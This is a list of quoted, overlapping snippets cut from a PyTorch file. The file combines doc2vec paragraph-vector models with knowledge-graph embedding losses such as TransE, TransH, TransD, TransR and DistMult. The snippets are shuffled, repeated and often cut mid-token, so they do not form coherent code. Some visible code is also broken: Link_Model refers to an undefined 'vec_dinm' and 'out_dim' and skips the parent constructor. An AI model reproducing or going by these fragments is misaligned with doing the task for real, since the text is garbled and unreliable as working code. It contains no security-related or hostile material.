"= nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.M_R = nn.Parameter( torch.randn(n_rel, vec_dim, vec_dim), requires_grad=True) normalize_entity_emb",
"Relations from golden triplets from relational graph tj: torch.Tensor of size (batch_size,) Tails",
"golden triplets from relational graph tj: torch.Tensor of size (batch_size,) Tails from noisy",
"self.cost_func.forward(d2v_output) else: d2v_output = torch.FloatTensor([0]) d2v_loss = torch.FloatTensor([0]) if self.kg_model_ver != 'none': #print",
"= self.d2v._D[hi,:] ti_emb = self.d2v._D[ti,:] w_ri_emb = self.W_R[ri,:] d_ri_emb = self.D_R[ri,:] #tj =",
"class Link_Model(nn.Module): \"\"\"Link prediction model\"\"\" def __init__(self, kg_model): self.vec_dim = vec_dinm self.out_dim =",
"d2v_model_ver if d2v_model_ver == 'dm': self.d2v = DM(vec_dim, num_docs, num_words) else: self.d2v =",
"(unnormalized log probabilities) # for negative sampling return torch.bmm( self._D[doc_ids, :].unsqueeze(1), self._O[:, target_noise_ids].permute(1,",
"self.vec_dim = vec_dinm self.out_dim = out_dim self.kg_model = kg_model #self.linear1 = nn.Linear(self.vec_dim, self.out_dim)",
"__init__(self, vec_dim, num_docs, num_words, n_rel, d2v_model_ver, kg_model_ver, margin, delta): super(D2V_KG, self).__init__() self.num_docs =",
"vec_dim), requires_grad=True) self.D_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.M_R = nn.Parameter( torch.randn(n_rel, vec_dim,",
"ik', ti_emb, M_R) tj_emb = torch.einsum('ij, ijk -> ik', tj_emb, M_R) hi_emb =",
"p=2, dim=1) tj_emb = F.normalize(tj_emb, p=2, dim=1) pos = torch.sum((hi_emb + w_ri_emb -",
"elif self.d2v_model_ver != 'none': total_loss = d2v_loss elif self.kg_model_ver != 'none': total_loss =",
"# paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # word matrix self._W",
"the loss function. Parameters ---------- scores: autograd.Variable of size (batch_size, num_noise_words + 1)",
"self).__init__() self.num_docs = num_docs self.margin = margin self.delta = delta self.kg_model_ver = kg_model_ver",
"F.normalize(ti_emb, p=2, dim=1) tj_emb = F.normalize(tj_emb, p=2, dim=1) pos = torch.sum((hi_emb + w_ri_emb",
"torch.cuda.is_available(): # tj = torch.LongTensor(np.asarray(tj)).to(torch.device('cuda')) tj_emb = self.d2v._D[tj,:] pos = None neg =",
"NegativeSampling() self.kg_loss_fn = marginLoss() self.W_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.D_R = nn.Parameter(",
"pos = None neg = None if self.kg_model_ver == 'transh': pos_h_e = projection_transH(hi_emb,",
"= nn.Parameter( torch.randn(n_rel, vec_dim, vec_dim), requires_grad=True) normalize_entity_emb = F.normalize(self.d2v._D.data, p=2, dim=1) normalize_relation_emb =",
"= F.normalize(self.D_R.data, p=2, dim=1) self.d2v._D.data = normalize_entity_emb self.W_R.data = normalize_relation_emb self.D_R.data = normalize_norm_emb",
"def forward(self, hi, ti, ri): with torch.no_grad(): _, _, _, _, pos, _",
"elements are indices of samples from the noise distribution. hi: torch.Tensor of size",
"unnormalized log probabilities. The first element in each row is the ground truth",
"target_noise_ids) d2v_loss = self.cost_func.forward(d2v_output) else: d2v_output = torch.FloatTensor([0]) d2v_loss = torch.FloatTensor([0]) if self.kg_model_ver",
"self._W = nn.Parameter( torch.randn(num_words, vec_dim), requires_grad=True) # output layer parameters self._O = nn.Parameter(",
"return -torch.sum(torch.sum(self._log_sigmoid(scores))) class marginLoss(nn.Module): def __init__(self): super(marginLoss, self).__init__() def forward(self, pos, neg, margin):",
"= projection_transD(ti_emb, w_ri_emb) tj_emb = projection_transD(tj_emb, w_ri_emb) pos = torch.sum((hi_emb + w_ri_emb -",
"vectors of # input (context) words x = torch.add( self._D[doc_ids, :], torch.sum(self._W[context_ids, :],",
"bias=True, requires_grad=True) def forward(self, hi, ti, ri): with torch.no_grad(): _, _, _, _,",
"of size (batch_size,) Tails from golden triplets from relational graph ri: torch.Tensor of",
"projection_transH(hi_emb, d_ri_emb) neg_t_e = projection_transH(tj_emb, d_ri_emb) pos = torch.sum((pos_h_e + w_ri_emb - pos_t_e)",
"torch.nn.functional as F import random import numpy as np import torch.autograd as autograd",
"torch.sum(self._log_sigmoid(-scores[:, 1:]), dim=1) / k ) / scores.size()[0] except: k = 1 return",
"paragraphs. target_noise_ids: torch.Tensor of size (batch_size, num_noise_words + 1) Vocabulary indices of target",
"- pos_t_e) ** 2, 1) neg = torch.sum((neg_h_e + w_ri_emb - neg_t_e) **",
"d2v_loss = self.cost_func.forward(d2v_output) else: d2v_output = torch.FloatTensor([0]) d2v_loss = torch.FloatTensor([0]) if self.kg_model_ver !=",
"self.delta = delta self.kg_model_ver = kg_model_ver self.d2v_model_ver = d2v_model_ver if d2v_model_ver == 'dm':",
"= torch.LongTensor(np.asarray(tj)).to(torch.device('cuda')) tj_emb = self.d2v._D[tj,:] pos = None neg = None if self.kg_model_ver",
"context words. doc_ids: torch.Tensor of size (batch_size,) Document indices of paragraphs. target_noise_ids: torch.Tensor",
"= torch.sum(projection_DistMult(w_ri_emb, hi_emb, ti_emb), 1) neg = torch.sum(projection_DistMult(w_ri_emb, hi_emb, tj_emb), 1) elif self.kg_model_ver",
"= self.d2v.forward(context_ids, doc_ids, target_noise_ids) d2v_loss = self.cost_func.forward(d2v_output) else: d2v_output = torch.FloatTensor([0]) d2v_loss =",
"self.d2v_model_ver != 'none' and self.kg_model_ver != 'none': total_loss = (1-self.delta)*d2v_loss + self.delta*kg_loss elif",
"forward(self, context_ids, doc_ids, target_noise_ids): \"\"\"Sparse computation of scores (unnormalized log probabilities) that should",
"row is the ground truth index (i.e. the target), other elements are indices",
"D2V and KG model can not be none\") return total_loss, d2v_loss, kg_loss, d2v_output,",
"size (batch_size, num_noise_words + 1) \"\"\" hi_emb = self.d2v._D[hi,:] ti_emb = self.d2v._D[ti,:] w_ri_emb",
"\"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DBOW, self).__init__() # paragraph matrix self._D =",
"---------- doc_ids: torch.Tensor of size (batch_size,) Document indices of paragraphs. target_noise_ids: torch.Tensor of",
"neg = torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2, 1) elif self.kg_model_ver ==",
"else: self.d2v = DBOW(vec_dim, num_docs, num_words) self.cost_func = NegativeSampling() self.kg_loss_fn = marginLoss() self.W_R",
"paragraph vector with word vectors of # input (context) words x = torch.add(",
"** 2, 1) elif self.kg_model_ver == 'transd': hi_emb = projection_transD(hi_emb, w_ri_emb) ti_emb =",
"= kg_loss else: raise ValueError(\"Both D2V and KG model can not be none\")",
"+ 1) Sparse unnormalized log probabilities. The first element in each row is",
"graph ti: torch.Tensor of size (batch_size,) Tails from golden triplets from relational graph",
"def get_paragraph_vector(self, index): return self._D[index, :].data.tolist() class DBOW(nn.Module): \"\"\"Distributed Bag of Words version",
"DBOW(nn.Module): \"\"\"Distributed Bag of Words version of Paragraph Vectors. Parameters ---------- vec_dim: int",
"- 1 return -torch.sum( self._log_sigmoid(scores[:, 0]) + torch.sum(self._log_sigmoid(-scores[:, 1:]), dim=1) / k )",
"dim=1, keepdim=True) * norm def projection_DistMult(original, norm1, norm2): return torch.sum(original * norm1, dim=1,",
"torch.sum((pos_h_e + w_ri_emb - pos_t_e) ** 2, 1) neg = torch.sum((neg_h_e + w_ri_emb",
"size (batch_size,) Heads from golden triplets from relational graph ti: torch.Tensor of size",
"a paragraph vector with word vectors of # input (context) words x =",
"vec_dim), requires_grad=True) # word matrix self._W = nn.Parameter( torch.randn(num_words, vec_dim), requires_grad=True) # output",
"parameters self._O = nn.Parameter( torch.FloatTensor(vec_dim, num_words).zero_(), requires_grad=True) def forward(self, context_ids, doc_ids, target_noise_ids): \"\"\"Sparse",
"(batch_size,) Document indices of paragraphs. target_noise_ids: torch.Tensor of size (batch_size, num_noise_words + 1)",
"dim=1) pos = torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2, 1) neg =",
"F.normalize(self.D_R.data, p=2, dim=1) self.d2v._D.data = normalize_entity_emb self.W_R.data = normalize_relation_emb self.D_R.data = normalize_norm_emb def",
"Parameters ---------- doc_ids: torch.Tensor of size (batch_size,) Document indices of paragraphs. target_noise_ids: torch.Tensor",
"= nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.D_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.M_R =",
"(batch_size,) Heads from golden triplets from relational graph ti: torch.Tensor of size (batch_size,)",
"neg_t_e) ** 2, 1) elif self.kg_model_ver == 'transe': pos = torch.sum((hi_emb + w_ri_emb",
"hi_emb, M_R) ti_emb = torch.einsum('ij, ijk -> ik', ti_emb, M_R) tj_emb = torch.einsum('ij,",
"self.d2v._D[index, :].data.tolist() class DM(nn.Module): \"\"\"Distributed Memory version of Paragraph Vectors. Parameters ---------- vec_dim:",
"context_ids, doc_ids, target_noise_ids): \"\"\"Sparse computation of scores (unnormalized log probabilities) that should be",
"ri, tj): \"\"\"Sparse computation of scores (unnormalized log probabilities) that should be passed",
"!= 'none': #print (pos.shape, neg.shape) kg_loss = self.kg_loss_fn(pos, neg, self.margin) else: kg_loss =",
"are scores of samples from the noise distribution. \"\"\" try: k = scores.size()[1]",
"** 2, 1) if self.d2v_model_ver != 'none': d2v_output = self.d2v.forward(context_ids, doc_ids, target_noise_ids) d2v_loss",
"words x = torch.add( self._D[doc_ids, :], torch.sum(self._W[context_ids, :], dim=1)) # sparse computation of",
"Tails from noisy triplets from relational graph Returns ------- autograd.Variable of size (batch_size,",
"doc_ids, target_noise_ids, hi, ti, ri, tj): \"\"\"Sparse computation of scores (unnormalized log probabilities)",
"num_context_words) Vocabulary indices of context words. doc_ids: torch.Tensor of size (batch_size,) Document indices",
"keepdim=True) * norm def projection_DistMult(original, norm1, norm2): return torch.sum(original * norm1, dim=1, keepdim=True)",
"pos - neg + margin return torch.sum(torch.max(val, torch.zeros_like(val))) def projection_transH(original, norm): return original",
"int Number of distinct words in a daset (i.e. vocabulary size). \"\"\" def",
"-> ik', hi_emb, M_R) ti_emb = torch.einsum('ij, ijk -> ik', ti_emb, M_R) tj_emb",
"of context words. doc_ids: torch.Tensor of size (batch_size,) Document indices of paragraphs. target_noise_ids:",
"_, _, pos, _ = self.kg_model(_, _, _, hi, ti, ri, _) out",
"relational graph ti: torch.Tensor of size (batch_size,) Tails from golden triplets from relational",
"scores): \"\"\"Computes the value of the loss function. Parameters ---------- scores: autograd.Variable of",
"1) elif self.kg_model_ver == 'transd': hi_emb = projection_transD(hi_emb, w_ri_emb) ti_emb = projection_transD(ti_emb, w_ri_emb)",
"dim=1) tj_emb = F.normalize(tj_emb, p=2, dim=1) pos = torch.sum((hi_emb + w_ri_emb - ti_emb)",
"\"\"\"Distributed Memory version of Paragraph Vectors. Parameters ---------- vec_dim: int Dimensionality of vectors",
"dataset. num_words: int Number of distinct words in a daset (i.e. vocabulary size).",
"KG model can not be none\") return total_loss, d2v_loss, kg_loss, d2v_output, pos, neg",
"\"\"\"Doc2vec model with transh loss \"\"\" def __init__(self, vec_dim, num_docs, num_words, n_rel, d2v_model_ver,",
"d_ri_emb) neg_h_e = projection_transH(hi_emb, d_ri_emb) neg_t_e = projection_transH(tj_emb, d_ri_emb) pos = torch.sum((pos_h_e +",
"= NegativeSampling() self.kg_loss_fn = marginLoss() self.W_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.D_R =",
"+ w_ri_emb - ti_emb) ** 2, 1) neg = torch.sum((hi_emb + w_ri_emb -",
"negative sampling loss. Parameters ---------- context_ids: torch.Tensor of size (batch_size, num_context_words) Vocabulary indices",
"original - torch.sum(original * norm, dim=1, keepdim=True) * norm def projection_DistMult(original, norm1, norm2):",
"!= 'none': d2v_output = self.d2v.forward(context_ids, doc_ids, target_noise_ids) d2v_loss = self.cost_func.forward(d2v_output) else: d2v_output =",
"ri): with torch.no_grad(): _, _, _, _, pos, _ = self.kg_model(_, _, _,",
"0]) + torch.sum(self._log_sigmoid(-scores[:, 1:]), dim=1) / k ) / scores.size()[0] except: k =",
"pos = torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2, 1) neg = torch.sum((hi_emb",
"'none' and self.kg_model_ver != 'none': total_loss = (1-self.delta)*d2v_loss + self.delta*kg_loss elif self.d2v_model_ver !=",
"return total_loss, d2v_loss, kg_loss, d2v_output, pos, neg def get_paragraph_vector(self, index): return self.d2v._D[index, :].data.tolist()",
"nn.Parameter( torch.randn(num_words, vec_dim), requires_grad=True) # output layer parameters self._O = nn.Parameter( torch.FloatTensor(vec_dim, num_words).zero_(),",
"by <NAME> al. in Distributed Representations of Words and Phrases and their Compositionality.",
"= self.M_R[ri,:] hi_emb = torch.einsum('ij, ijk -> ik', hi_emb, M_R) ti_emb = torch.einsum('ij,",
"torch.randn(n_rel, vec_dim), requires_grad=True) self.D_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.M_R = nn.Parameter( torch.randn(n_rel,",
"doc_ids, target_noise_ids) d2v_loss = self.cost_func.forward(d2v_output) else: d2v_output = torch.FloatTensor([0]) d2v_loss = torch.FloatTensor([0]) if",
"Returns ------- autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" # combine a",
"__init__(self): super(marginLoss, self).__init__() def forward(self, pos, neg, margin): val = pos - neg",
"self.margin = margin self.delta = delta self.kg_model_ver = kg_model_ver self.d2v_model_ver = d2v_model_ver if",
"def projection_transH(original, norm): return original - torch.sum(original * norm, dim=1, keepdim=True) * norm",
"\"\"\"Negative sampling loss as proposed by <NAME> al. in Distributed Representations of Words",
"kg_model_ver self.d2v_model_ver = d2v_model_ver if d2v_model_ver == 'dm': self.d2v = DM(vec_dim, num_docs, num_words)",
"hi_emb = torch.einsum('ij, ijk -> ik', hi_emb, M_R) ti_emb = torch.einsum('ij, ijk ->",
"pos, neg, margin): val = pos - neg + margin return torch.sum(torch.max(val, torch.zeros_like(val)))",
"- torch.sum(original * norm, dim=1, keepdim=True) * norm def projection_DistMult(original, norm1, norm2): return",
"super(marginLoss, self).__init__() def forward(self, pos, neg, margin): val = pos - neg +",
"scores: autograd.Variable of size (batch_size, num_noise_words + 1) Sparse unnormalized log probabilities. The",
"triplets from relational graph ti: torch.Tensor of size (batch_size,) Tails from golden triplets",
"dim=1) normalize_norm_emb = F.normalize(self.D_R.data, p=2, dim=1) self.d2v._D.data = normalize_entity_emb self.W_R.data = normalize_relation_emb self.D_R.data",
"return self.d2v._D[index, :].data.tolist() class DM(nn.Module): \"\"\"Distributed Memory version of Paragraph Vectors. Parameters ----------",
"projection_transH(ti_emb, d_ri_emb) neg_h_e = projection_transH(hi_emb, d_ri_emb) neg_t_e = projection_transH(tj_emb, d_ri_emb) pos = torch.sum((pos_h_e",
"loss function. Parameters ---------- scores: autograd.Variable of size (batch_size, num_noise_words + 1) Sparse",
"to be learned (for paragraphs and words). num_docs: int Number of documents in",
"tj = torch.LongTensor(np.asarray(tj)).to(torch.device('cuda')) tj_emb = self.d2v._D[tj,:] pos = None neg = None if",
"self.M_R[ri,:] hi_emb = torch.einsum('ij, ijk -> ik', hi_emb, M_R) ti_emb = torch.einsum('ij, ijk",
"# for negative sampling return torch.bmm( self._D[doc_ids, :].unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def",
"class D2V_KG(nn.Module): \"\"\"Doc2vec model with transh loss \"\"\" def __init__(self, vec_dim, num_docs, num_words,",
"margin self.delta = delta self.kg_model_ver = kg_model_ver self.d2v_model_ver = d2v_model_ver if d2v_model_ver ==",
"self.d2v._D[hi,:] ti_emb = self.d2v._D[ti,:] w_ri_emb = self.W_R[ri,:] d_ri_emb = self.D_R[ri,:] #tj = random.sample(np.arange(0,self.num_docs).tolist(),",
"hi: torch.Tensor of size (batch_size,) Heads from golden triplets from relational graph ti:",
"graph Returns ------- autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" hi_emb =",
"scores (unnormalized log probabilities) that should be passed to the negative sampling loss.",
"truth index (i.e. the target), other elements are indices of samples from the",
"score (i.e. the target), other elements are scores of samples from the noise",
"projection_transH(hi_emb, d_ri_emb) pos_t_e = projection_transH(ti_emb, d_ri_emb) neg_h_e = projection_transH(hi_emb, d_ri_emb) neg_t_e = projection_transH(tj_emb,",
"daset (i.e. vocabulary size). \"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DM, self).__init__() #",
"(i.e. vocabulary size). \"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DM, self).__init__() # paragraph",
"- tj_emb) ** 2, 1) elif self.kg_model_ver == 'transd': hi_emb = projection_transD(hi_emb, w_ri_emb)",
"\"\"\" # sparse computation of scores (unnormalized log probabilities) # for negative sampling",
"requires_grad=True) self.D_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.M_R = nn.Parameter( torch.randn(n_rel, vec_dim, vec_dim),",
"tj_emb = F.normalize(tj_emb, p=2, dim=1) pos = torch.sum((hi_emb + w_ri_emb - ti_emb) **",
"loss \"\"\" def __init__(self, vec_dim, num_docs, num_words, n_rel, d2v_model_ver, kg_model_ver, margin, delta): super(D2V_KG,",
"graph tj: torch.Tensor of size (batch_size,) Tails from noisy triplets from relational graph",
"(for paragraphs and words). num_docs: int Number of documents in a dataset. num_words:",
"normalize_norm_emb def forward(self, context_ids, doc_ids, target_noise_ids, hi, ti, ri, tj): \"\"\"Sparse computation of",
"of samples from the noise distribution. hi: torch.Tensor of size (batch_size,) Heads from",
"1) Vocabulary indices of target and noise words. The first element in each",
"vec_dinm self.out_dim = out_dim self.kg_model = kg_model #self.linear1 = nn.Linear(self.vec_dim, self.out_dim) self.linear =",
"vec_dim), requires_grad=True) self.M_R = nn.Parameter( torch.randn(n_rel, vec_dim, vec_dim), requires_grad=True) normalize_entity_emb = F.normalize(self.d2v._D.data, p=2,",
"ground truth index (i.e. the target), other elements are indices of samples from",
"norm, dim=1, keepdim=True) * norm def projection_DistMult(original, norm1, norm2): return torch.sum(original * norm1,",
"torch.einsum('ij, ijk -> ik', hi_emb, M_R) ti_emb = torch.einsum('ij, ijk -> ik', ti_emb,",
"1) neg = torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2, 1) if self.d2v_model_ver",
"= self.kg_model(_, _, _, hi, ti, ri, _) out = self.linear(pos) return out",
"self.d2v._D[ti,:] w_ri_emb = self.W_R[ri,:] d_ri_emb = self.D_R[ri,:] #tj = random.sample(np.arange(0,self.num_docs).tolist(), hi_emb.shape[0]) #if torch.cuda.is_available():",
"samples from the noise distribution. Returns ------- autograd.Variable of size (batch_size, num_noise_words +",
"as proposed by <NAME> al. in Distributed Representations of Words and Phrases and",
"margin return torch.sum(torch.max(val, torch.zeros_like(val))) def projection_transH(original, norm): return original - torch.sum(original * norm,",
"neg = torch.sum(projection_DistMult(w_ri_emb, hi_emb, tj_emb), 1) elif self.kg_model_ver == 'transr': M_R = self.M_R[ri,:]",
"The first element in each row is the ground truth index (i.e. the",
"nn.LogSigmoid() def forward(self, scores): \"\"\"Computes the value of the loss function. Parameters ----------",
"num_docs, num_words, n_rel, d2v_model_ver, kg_model_ver, margin, delta): super(D2V_KG, self).__init__() self.num_docs = num_docs self.margin",
"sampling return torch.bmm( x.unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self, index): return self._D[index,",
"\"\"\"Link prediction model\"\"\" def __init__(self, kg_model): self.vec_dim = vec_dinm self.out_dim = out_dim self.kg_model",
"# tj = torch.LongTensor(np.asarray(tj)).to(torch.device('cuda')) tj_emb = self.d2v._D[tj,:] pos = None neg = None",
"of size (batch_size, num_noise_words + 1) Vocabulary indices of target and noise words.",
"(i.e. the target), other elements are indices of samples from the noise distribution.",
"golden triplets from relational graph ri: torch.Tensor of size (batch_size,) Relations from golden",
"autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" # sparse computation of scores",
"al. in Distributed Representations of Words and Phrases and their Compositionality. \"\"\" def",
"def forward(self, context_ids, doc_ids, target_noise_ids, hi, ti, ri, tj): \"\"\"Sparse computation of scores",
"distribution. Returns ------- autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" # sparse",
"distinct words in a daset (i.e. vocabulary size). \"\"\" def __init__(self, vec_dim, num_docs,",
"class NegativeSampling(nn.Module): \"\"\"Negative sampling loss as proposed by <NAME> al. in Distributed Representations",
"projection_transD(tj_emb, w_ri_emb) pos = torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2, 1) neg",
"num_words): super(DM, self).__init__() # paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) #",
"torch.randn(num_docs, vec_dim), requires_grad=True) # output layer parameters self._O = nn.Parameter( torch.FloatTensor(vec_dim, num_words).zero_(), requires_grad=True)",
"kg_loss else: raise ValueError(\"Both D2V and KG model can not be none\") return",
"Returns ------- autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" hi_emb = self.d2v._D[hi,:]",
"else: raise ValueError(\"Both D2V and KG model can not be none\") return total_loss,",
"2)).squeeze() def get_paragraph_vector(self, index): return self._D[index, :].data.tolist() class DBOW(nn.Module): \"\"\"Distributed Bag of Words",
"self.cost_func = NegativeSampling() self.kg_loss_fn = marginLoss() self.W_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.D_R",
"none\") return total_loss, d2v_loss, kg_loss, d2v_output, pos, neg def get_paragraph_vector(self, index): return self.d2v._D[index,",
"def get_paragraph_vector(self, index): return self.d2v._D[index, :].data.tolist() class DM(nn.Module): \"\"\"Distributed Memory version of Paragraph",
"torch.FloatTensor([0]) if self.kg_model_ver != 'none': #print (pos.shape, neg.shape) kg_loss = self.kg_loss_fn(pos, neg, self.margin)",
"+ torch.sum(self._log_sigmoid(-scores[:, 1:]), dim=1) / k ) / scores.size()[0] except: k = 1",
"= scores.size()[1] - 1 return -torch.sum( self._log_sigmoid(scores[:, 0]) + torch.sum(self._log_sigmoid(-scores[:, 1:]), dim=1) /",
"!= 'none': total_loss = kg_loss else: raise ValueError(\"Both D2V and KG model can",
"vocabulary size). \"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DM, self).__init__() # paragraph matrix",
"p=2, dim=1) self.d2v._D.data = normalize_entity_emb self.W_R.data = normalize_relation_emb self.D_R.data = normalize_norm_emb def forward(self,",
"# paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # output layer parameters",
"log probabilities. The first element in each row is the ground truth score",
"should be passed to the negative sampling loss. Parameters ---------- context_ids: torch.Tensor of",
"(batch_size,) Tails from golden triplets from relational graph ri: torch.Tensor of size (batch_size,)",
"self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # output layer parameters self._O = nn.Parameter(",
"target), other elements are indices of samples from the noise distribution. Returns -------",
"norm, dim=1, keepdim=True) * norm class Link_Model(nn.Module): \"\"\"Link prediction model\"\"\" def __init__(self, kg_model):",
"= torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2, 1) neg = torch.sum((hi_emb +",
"Vectors. Parameters ---------- vec_dim: int Dimensionality of vectors to be learned (for paragraphs",
"self.out_dim) self.linear = nn.Linear(1, 1, bias=True, requires_grad=True) def forward(self, hi, ti, ri): with",
"w_ri_emb - tj_emb) ** 2, 1) elif self.kg_model_ver == 'distmult': pos = torch.sum(projection_DistMult(w_ri_emb,",
"nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # output layer parameters self._O = nn.Parameter( torch.FloatTensor(vec_dim, num_words).zero_(),",
"2, 1) neg = torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2, 1) if",
"+ self.delta*kg_loss elif self.d2v_model_ver != 'none': total_loss = d2v_loss elif self.kg_model_ver != 'none':",
"= out_dim self.kg_model = kg_model #self.linear1 = nn.Linear(self.vec_dim, self.out_dim) self.linear = nn.Linear(1, 1,",
"(batch_size, num_noise_words + 1) \"\"\" # combine a paragraph vector with word vectors",
"autograd class NegativeSampling(nn.Module): \"\"\"Negative sampling loss as proposed by <NAME> al. in Distributed",
"neg, margin): val = pos - neg + margin return torch.sum(torch.max(val, torch.zeros_like(val))) def",
"forward(self, context_ids, doc_ids, target_noise_ids, hi, ti, ri, tj): \"\"\"Sparse computation of scores (unnormalized",
"of Paragraph Vectors. Parameters ---------- vec_dim: int Dimensionality of vectors to be learned",
"self.num_docs = num_docs self.margin = margin self.delta = delta self.kg_model_ver = kg_model_ver self.d2v_model_ver",
"hi, ti, ri, _) out = self.linear(pos) return out class D2V_KG(nn.Module): \"\"\"Doc2vec model",
"\"\"\"Computes the value of the loss function. Parameters ---------- scores: autograd.Variable of size",
"ijk -> ik', ti_emb, M_R) tj_emb = torch.einsum('ij, ijk -> ik', tj_emb, M_R)",
"\"\"\" hi_emb = self.d2v._D[hi,:] ti_emb = self.d2v._D[ti,:] w_ri_emb = self.W_R[ri,:] d_ri_emb = self.D_R[ri,:]",
"k = scores.size()[1] - 1 return -torch.sum( self._log_sigmoid(scores[:, 0]) + torch.sum(self._log_sigmoid(-scores[:, 1:]), dim=1)",
"kg_loss = self.kg_loss_fn(pos, neg, self.margin) else: kg_loss = torch.FloatTensor([0]) if self.d2v_model_ver != 'none'",
"of scores (unnormalized log probabilities) # for negative sampling return torch.bmm( x.unsqueeze(1), self._O[:,",
"paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # output layer parameters self._O",
"def __init__(self, vec_dim, num_docs, num_words, n_rel, d2v_model_ver, kg_model_ver, margin, delta): super(D2V_KG, self).__init__() self.num_docs",
"ti, ri, _) out = self.linear(pos) return out class D2V_KG(nn.Module): \"\"\"Doc2vec model with",
"and noise words. The first element in each row is the ground truth",
"computation of scores (unnormalized log probabilities) that should be passed to the negative",
"be none\") return total_loss, d2v_loss, kg_loss, d2v_output, pos, neg def get_paragraph_vector(self, index): return",
"of size (batch_size, num_noise_words + 1) \"\"\" hi_emb = self.d2v._D[hi,:] ti_emb = self.d2v._D[ti,:]",
"self._log_sigmoid = nn.LogSigmoid() def forward(self, scores): \"\"\"Computes the value of the loss function.",
"F.normalize(self.d2v._D.data, p=2, dim=1) normalize_relation_emb = F.normalize(self.W_R.data, p=2, dim=1) normalize_norm_emb = F.normalize(self.D_R.data, p=2, dim=1)",
"= F.normalize(ti_emb, p=2, dim=1) tj_emb = F.normalize(tj_emb, p=2, dim=1) pos = torch.sum((hi_emb +",
"2, 1) elif self.kg_model_ver == 'transd': hi_emb = projection_transD(hi_emb, w_ri_emb) ti_emb = projection_transD(ti_emb,",
"(batch_size,) Tails from noisy triplets from relational graph Returns ------- autograd.Variable of size",
"pos = torch.sum(projection_DistMult(w_ri_emb, hi_emb, ti_emb), 1) neg = torch.sum(projection_DistMult(w_ri_emb, hi_emb, tj_emb), 1) elif",
"tj_emb), 1) elif self.kg_model_ver == 'transr': M_R = self.M_R[ri,:] hi_emb = torch.einsum('ij, ijk",
"not be none\") return total_loss, d2v_loss, kg_loss, d2v_output, pos, neg def get_paragraph_vector(self, index):",
"layer parameters self._O = nn.Parameter( torch.FloatTensor(vec_dim, num_words).zero_(), requires_grad=True) def forward(self, context_ids, doc_ids, target_noise_ids):",
"torch.zeros_like(val))) def projection_transH(original, norm): return original - torch.sum(original * norm, dim=1, keepdim=True) *",
"= projection_transH(hi_emb, d_ri_emb) pos_t_e = projection_transH(ti_emb, d_ri_emb) neg_h_e = projection_transH(hi_emb, d_ri_emb) neg_t_e =",
"vec_dim, num_docs, num_words): super(DM, self).__init__() # paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim),",
"ijk -> ik', tj_emb, M_R) hi_emb = F.normalize(hi_emb, p=2, dim=1) ti_emb = F.normalize(ti_emb,",
"= (1-self.delta)*d2v_loss + self.delta*kg_loss elif self.d2v_model_ver != 'none': total_loss = d2v_loss elif self.kg_model_ver",
"of target and noise words. The first element in each row is the",
"= torch.einsum('ij, ijk -> ik', tj_emb, M_R) hi_emb = F.normalize(hi_emb, p=2, dim=1) ti_emb",
"- ti_emb) ** 2, 1) neg = torch.sum((hi_emb + w_ri_emb - tj_emb) **",
"Parameters ---------- scores: autograd.Variable of size (batch_size, num_noise_words + 1) Sparse unnormalized log",
"size (batch_size, num_context_words) Vocabulary indices of context words. doc_ids: torch.Tensor of size (batch_size,)",
"total_loss = d2v_loss elif self.kg_model_ver != 'none': total_loss = kg_loss else: raise ValueError(\"Both",
"other elements are indices of samples from the noise distribution. Returns ------- autograd.Variable",
"+ w_ri_emb - tj_emb) ** 2, 1) elif self.kg_model_ver == 'distmult': pos =",
"== 'transe': pos = torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2, 1) neg",
"'none': total_loss = (1-self.delta)*d2v_loss + self.delta*kg_loss elif self.d2v_model_ver != 'none': total_loss = d2v_loss",
"d2v_output, pos, neg def get_paragraph_vector(self, index): return self.d2v._D[index, :].data.tolist() class DM(nn.Module): \"\"\"Distributed Memory",
"__init__(self, vec_dim, num_docs, num_words): super(DM, self).__init__() # paragraph matrix self._D = nn.Parameter( torch.randn(num_docs,",
"row is the ground truth score (i.e. the target), other elements are scores",
"* norm1, dim=1, keepdim=True) * norm2 def projection_transD(original, norm): return original + torch.sum(original",
"num_noise_words + 1) \"\"\" # sparse computation of scores (unnormalized log probabilities) #",
"relational graph tj: torch.Tensor of size (batch_size,) Tails from noisy triplets from relational",
"self.d2v._D.data = normalize_entity_emb self.W_R.data = normalize_relation_emb self.D_R.data = normalize_norm_emb def forward(self, context_ids, doc_ids,",
"transh loss \"\"\" def __init__(self, vec_dim, num_docs, num_words, n_rel, d2v_model_ver, kg_model_ver, margin, delta):",
